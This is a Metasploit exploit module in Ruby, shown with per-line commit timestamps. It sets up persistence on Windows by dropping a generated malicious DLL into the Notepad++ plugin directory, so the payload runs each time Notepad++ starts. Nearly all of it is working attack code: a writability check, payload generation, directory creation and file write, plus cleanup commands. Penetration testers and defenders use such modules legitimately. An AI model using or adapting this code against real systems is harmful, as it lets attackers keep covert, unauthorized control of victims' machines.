2025-11-10 10:58:03 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = ExcellentRanking
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: Local :: Persistence
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Notepad++ Plugin Persistence' ,
'Description' = > %q{
2025-11-12 10:35:23 +01:00
This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.
2025-11-10 10:58:03 +01:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'msutovsky-r7' ] ,
2025-11-12 10:35:23 +01:00
'Arch' = > [ ARCH_X64 , ARCH_X86 , ARCH_AARCH64 ] ,
2025-11-10 10:58:03 +01:00
'Platform' = > [ 'win' ] ,
'SessionTypes' = > [ 'meterpreter' , 'shell' ] ,
'Targets' = > [
[ 'Automatic' , { } ]
] ,
2025-11-10 12:27:13 +01:00
'DisclosureDate' = > '2005-12-11' , # plugins were added to Notepad++
2025-11-10 10:58:03 +01:00
'DefaultTarget' = > 0 ,
'References' = > [
2026-01-08 21:00:39 -05:00
[ 'ATT&CK' , Mitre :: Attack :: Technique :: T1546_EVENT_TRIGGERED_EXECUTION ] ,
2025-11-10 12:27:13 +01:00
[ 'URL' , 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence' ]
2025-11-10 10:58:03 +01:00
] ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION , EVENT_DEPENDENT ] ,
'SideEffects' = > [ ARTIFACTS_ON_DISK ]
}
)
)
register_options (
[
OptString . new ( 'PAYLOAD_NAME' , [ false , 'Name of payload file to write. Random string as default.' ] ) ,
]
)
end
2025-11-10 12:27:13 +01:00
def get_plugin_dir
expand_path ( '%PROGRAMFILES%\\Notepad++\\plugins\\' )
end
2025-11-10 10:58:03 +01:00
def check
2025-11-10 12:27:13 +01:00
@plugin_dir = get_plugin_dir
2025-11-12 10:35:23 +01:00
return CheckCode :: Safe ( 'Notepad++ is probably not present' ) unless directory? ( @plugin_dir )
# borrowed from startup folder persistence
begin
# windows only ps payloads have writable? so try that first
return CheckCode :: Safe ( " Unable to write to #{ @plugin_dir } " ) unless writable? ( @plugin_dir )
rescue RuntimeError
filename = @plugin_dir + '\\' + Rex :: Text . rand_text_alpha ( ( rand ( 6 .. 13 ) ) )
2025-11-17 11:04:28 +01:00
write_file ( filename , '' )
if exists? filename
2025-11-12 10:35:23 +01:00
rm_f ( filename )
else
return CheckCode :: Safe ( " Unable to write to #{ @plugin_dir } " )
end
2025-11-10 12:27:13 +01:00
end
2025-11-12 10:35:23 +01:00
CheckCode :: Vulnerable ( 'Notepad++ present and plugin folder is writable' )
2025-11-10 10:58:03 +01:00
end
def install_persistence
2025-11-10 12:27:13 +01:00
@plugin_dir || = get_plugin_dir
2025-11-21 13:04:52 +01:00
payload_name = CGI . escape ( datastore [ 'PAYLOAD_NAME' ] || Rex :: Text . rand_text_alpha ( ( rand ( 6 .. 13 ) ) ) )
2025-11-10 12:27:13 +01:00
payload_pathname = @plugin_dir + payload_name + '\\'
2025-11-17 09:24:09 +01:00
payload_exe = generate_payload_dll ( { dll_exitprocess : true } )
2025-11-19 08:12:30 +01:00
fail_with ( Failure :: BadConfig , " #{ payload_instance . arch . first } payload selected for #{ sysinfo [ 'Architecture' ] } system " ) unless sysinfo [ 'Architecture' ] == payload_instance . arch . first
2025-11-10 10:58:03 +01:00
vprint_good ( " Writing payload to #{ payload_pathname } " )
2025-11-17 11:04:28 +01:00
if session . type == 'meterpreter'
fail_with ( Failure :: UnexpectedReply , 'Error while creating malicious plugin directory' ) unless session . fs . dir . mkdir ( payload_pathname )
else
fail_with ( Failure :: UnexpectedReply , 'Error while creating malicious plugin directory' ) unless cmd_exec ( " mkdir \" #{ payload_pathname } \" " )
end
2025-11-10 12:27:13 +01:00
fail_with ( Failure :: UnexpectedReply , " Error writing payload to: #{ payload_pathname } " ) unless write_file ( payload_pathname + payload_name + '.dll' , payload_exe )
2025-11-10 10:58:03 +01:00
vprint_status ( " Payload ( #{ payload_exe . length } bytes) uploaded on #{ sysinfo [ 'Computer' ] } to #{ payload_pathname } " )
@clean_up_rc << " rm \" #{ payload_pathname . gsub ( '\\' , '/' ) } \" \n "
end
end